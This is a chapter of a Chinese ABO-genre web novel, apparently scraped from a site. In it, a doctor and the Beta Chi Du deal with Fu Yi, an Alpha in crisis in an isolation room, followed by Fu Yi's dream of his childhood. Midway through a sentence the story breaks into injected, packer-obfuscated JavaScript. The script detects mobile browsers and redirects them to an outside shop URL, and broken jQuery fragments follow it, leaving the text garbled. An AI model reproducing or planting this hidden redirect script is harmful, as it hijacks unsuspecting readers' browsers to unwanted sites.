13. 第 13 章

作品:《哥你再提分手我就打你弟

    “我就说他那个信息素根本不正常,哪有Alpha免疫信息素的?让你们来做个检查跟我想害你们似的,一个两个都不来!”


    科研院的隔离室外,莫医生的吐槽一连串吐出来,滔滔不绝。


    池渡静立在单向玻璃前,右手掌心贴在玻璃墙上,被关在里面的Alpha垂着头,金色的发丝遮住眼睛,看不出具体神情,唯有起伏的胸膛证明他还在呼吸。


    池渡定定看了一会儿,问:“人命关天?”


    “哦,是指我的命。他一拳头下去我能死三回,我想着他要是彻底失控了,你能当场揍他一顿,就像军校那会儿那样,指不定就打醒了呢。”


    莫医生反复查看复熠的指标,各项数值居高不下即将爆表,可一抬头,隔离室里的Alpha分明安静坐着,简直可以当场出院。


    莫高深觉自己被做局了,学医的时候说好的爱人的眼睛会欺骗你但检测的数据绝对不会骗人,现在数据和病患压根儿对不上号!


    他第八次检查仪器是不是坏了,边拆边说:“你是没看见啊,他一开始跟疯了一样。”


    顿了一下,莫高的神色微妙变了,咽了下口水:“但他突然就平静下来了。”


    “池渡,我的意思是说,是在一瞬间,他突然就平静下来了,但他的各项指标根本没降,从医学角度上说,他现在跟没有理智毫无区别,可表面看着偏偏很正常。”


    玻璃墙里映出浅浅的人影,依稀能看出神色平静,仿佛跟被关在里面的人缓缓重合了。


    池渡放下手,转头问:“我能把他带回去吗?”


    莫高露出此生最慈悲的微笑,笑容里多少带着点儿释然:“你跟我说实话,你今天是不是忘吃药了?”


    “你想进去看看我都得算算你们两个谁会打死谁,你跟我说你要把他领走?路人甲乙丙丁的命也是命,这家伙还能好端端坐在这里,都得感谢他现在改姓方了!”


    莫高亮出病历,指了一下名字那栏:“话说,他这身份信息怎么还是复熠?我叫顺口了有时候反应不过来,不过他不是早就改名成方熠了吗?”


    在他们说话的时候,一滴血毫无征兆砸在隔离室纯白的地板上。


    整个过程其实是无声的,这面墙能把信息素隔绝干净,更何况是声波,但池渡冥冥之中有所感应般骤然转回头,亲眼看到那滴血落下来。


    视觉捕捉到那滴血放慢速度迸溅开的瞬间,声音也仿佛一并在脑中响起。


    ——啪嗒。


    外面听不到里面的声音,独自坐在隔离室内的复熠也听不到任何声音。


    他的耳膜嗡响,头痛欲裂,神经撕扯着,脑子如同一团纠缠不清的旧毛线,可一道无形中的声音在他耳边不断盘旋着:


    你要保持冷静。


    保持冷静。


    别让自己看起来像一个会被信息素控制的Alpha。


    池渡已经不会像小时候那样简单原谅你了。


    池渡……


    池渡……


    第二滴、第三滴鼻血接连砸在地面。


    模糊的视野中出现了一双军靴。


    头重得像是灌了铅,复熠勉强仰头,眯着眼睛,还是看不清。


    鼻血还在流,他傻笑着说:“哥,你回来了。”


    身前的人摸了摸他的头发,一如往初。


    “方熠。”


    复熠的身体陡然一僵。


    耳边的嗡鸣声刹那间远去,眼前波光粼粼的河岸也不见了,池渡的声音无比清晰,视野恢复清明,脑子却仿佛还停留在混乱中。


    复熠猛地站起来,胸膛剧烈起伏着。


    “你……你叫我什么?”


    他比池渡高了半个头,脸色阴翳得吓人,无法遏制的错愕和混杂着不可置信的愤怒煽动着情绪和信息素乱窜,顶级Alpha的力量扑面而来。


    监测仪器瞬间一起爆发警报,守在外面的莫高眼皮狂跳,拔腿往外跑:“要死……隔离室请求支援!麻醉剂镇定剂信息素稀释喷雾准备,人命关天!……要死,要死,我就说了别进去了!!”


    “方熠?方熠?!……你果然不想要我了!!”


    复熠呼吸急促:“连你起的名字都不让我叫了吗?!你说你另一个父亲姓复,用这个姓给我起名,以后我就是你弟弟了!”


    复熠几乎是喊出来的:“是你先的!是你先告诉我,你可以不止是我哥的!我哪里做错了你可以告诉我,我都会改的!”


    泪顺着他右颊滑下来,只有一滴,他用力抹了一把,下一滴已经沿着泪痕滑下来。


    “不是你先吻我的吗?明明是你先……”


    他手足无措地站在原地,面前的池渡表情还是冷静的,衬得他如同野兽,中间只隔着半米不到,却仿佛隔开很远。


    复熠突然深吸了一口气,表情瞬间冷静下来,唯有那道在灯下闪着微光的泪痕证明情绪曾经存在。


    他脸色发白,无意识后退,小腿撞在椅子上,摸了两下椅子,摸索着慢慢坐下来,才没跌倒。


    池渡还在那里站着,复熠试探性地抬手环住池渡的腰,反复确认自己的手没被甩开,他才敢轻轻把头靠上去。


    “对不起,哥,对不起,我该保持冷静的……”


    隔离室墙角,“咔嚓”几声,白雾迅速扩散,几秒后便填满整个隔离室。


    等白雾逐渐淡化,莫高看到里面还站着的人,眼珠子快瞪出来了。


    “……你还是人类吗?我怕闷不倒他还特意加大的剂量……”


    受到药剂影响,池渡看起来更机质感了,像一个没有感情的机器人,可他的手还稳稳扶着靠在他身上的Alpha的后背,那是一个完全将其纳入保护范围的姿势。


    莫高小心翼翼地往前挪了几步:“能碰吗?让吗?……检测仪器爆了,你要是现在心理上接受不了,我等仪器恢复也来得及,这个不急。”


    莫高太阳穴突突跳,心想到底谁才是Alpha。


    池渡也不回答,垂眸看着复熠,问:“他什么时候能离开这里?”


    “原则上说,现在就可以。方上将亲自致电,让我们什么都不用理,有问题他来担责,方家的人就在外面等着把人接走了。”


    莫高瞄着池渡的表情,斟酌着说:“我的建议也是先把他放在方家。”


    “主要是吧,他进来之前在跟兰斯洛的使臣打架,那个使臣不小心跑到你们家院子里了,他正要出门执行任务,撞了个正着,Alpha的领地意识你懂的,这不就出事了嘛……不过好消息是打完了送医院也是他送的,哈哈……”


    伤害性不仅大,侮辱性也是极高。


    池渡淡淡“嗯”了声。


    莫高估摸着这是没事了的意思,打了个手势,两个全副武装的医护人员迅速抬着担架进来了,想把那个昏迷的Alpha放上担架,但怎么都扒不开他抱住那个中尉的手。


    更奇怪的一幕发生了,那个中尉只是轻轻拍了两下,昏迷的Alpha就自动解锁了。他们顿时松了口气,正要把人挪到担架上,那个中尉突然蹲下身,


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17621260|205071||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    把那个Alpha背起来。


    两人一同看向莫医生,莫医生摇摇头,他们便悄无声息退下了。


    莫高跟着池渡往外走,是陪同也是防止出事,他发现只要把池渡的思维逻辑往易感期的Alpha一套就好理解多了。他不敢保证池渡不会把复熠当场劫走,这人什么都干得出来,不盯紧了,那他的升职、他的加薪、他的未来就要离他而去了!


    莫高看着池渡的侧脸,忍了又忍,还是开了口:“你是不是把他逼得有点儿过了?”


    他在隔离室外面听不到复熠说了什么,但复熠一看到池渡就开始崩溃,很难不往他们两个的感情里联想。


    他是知情的,池渡要分手,复熠不敢违抗又不想分,还找了他恋人时迁帮忙出谋划策。


    “我是说,池渡,你是不是对他太严格了?”他原本想说残忍,又觉得这么说对池渡也很残忍,临时改口。


    “你要说让他去死他一丁点不带犹豫的,但你说分手那不是要他的命吗……你一没移情别恋,二没想跟别人结婚,你也还是处处照顾他,好端端的干嘛分手呢?”


    池渡越走越快,莫高小跑着在后面追。


    “大家做朋友这么多年,都知道你话少,但复……方熠对你不一样啊,他跟你不止是朋友,你什么都不告诉他,连病了也不让他知道……”


    池渡脚步太快,莫高没追上,在原地喘了口气,冲着那个背影喊道:


    “A3精神力紊乱又不是什么大病,军队里十个Alpha里五个都得过这个病,不会传染也不是绝症,一万个里也就一个控制不好得深入治疗,让他知道一下怎么了?我说句公道话,你们两个体质都不正常,谁也别嫌弃谁!”


    池渡背着复熠走远了。


    莫高亲眼看着池渡把人交给了方家来的人,松了口气,竟然还是方崇少将亲自来接,方家对这个小儿子是真挺上心。


    莫高摇摇头,今天这出戏码告一段落,他拍着胸口往办公室走。这会儿惊魂未定褪去了,再回想隔离室里的画面,无异于他的一篇论文在攻击另一篇论文。


    “一个不像Alpha的Alpha,一个不像Beta的Beta……”


    “这都什么事啊!”


    **


    复熠做了一个很长的梦。


    他很少做梦,也讨厌做梦。


    垃圾星不是个适合做梦的地方,想太多就容易接受不了现实的落差,怕梦醒来,怕面对现实,然而这里的人其实连幻想的时候也想不出富足美满的生活会是什么样,只能想想每顿饭都能吃上挤了奶油的面包。


    童年时他的理想是成为一个脚踏实地的人,努力学习、努力工作,长大以后要凭借自己的双手带给家人更好的生活,属于他的东西他拼尽一切守护好,不属于他的东西绝对不宵想,踏踏实实过完一生。


    池渡的降临就像他人生中第一场美梦。


    只要和池渡在一起,没有什么目标无法实现、没有什么地方无法抵达。从垃圾星到主星系,从无家可归到成为军官,他所拥有的一切都与池渡密不可分,他所拥有的一切都是池渡赋予他的——包括活着的意义。


    在池渡给他的这场美梦里,连爱上兄长这种荒唐事都是可以被准允、甚至是可以得到回应的。


    “小熠……”


    “……熠?”


    梦醒了。


    复熠缓缓睁开眼,看到了华丽的天花板,以及两双带着担忧的绿眸。


    “方熠,你感觉怎么样?”他血缘上的那位兄长说。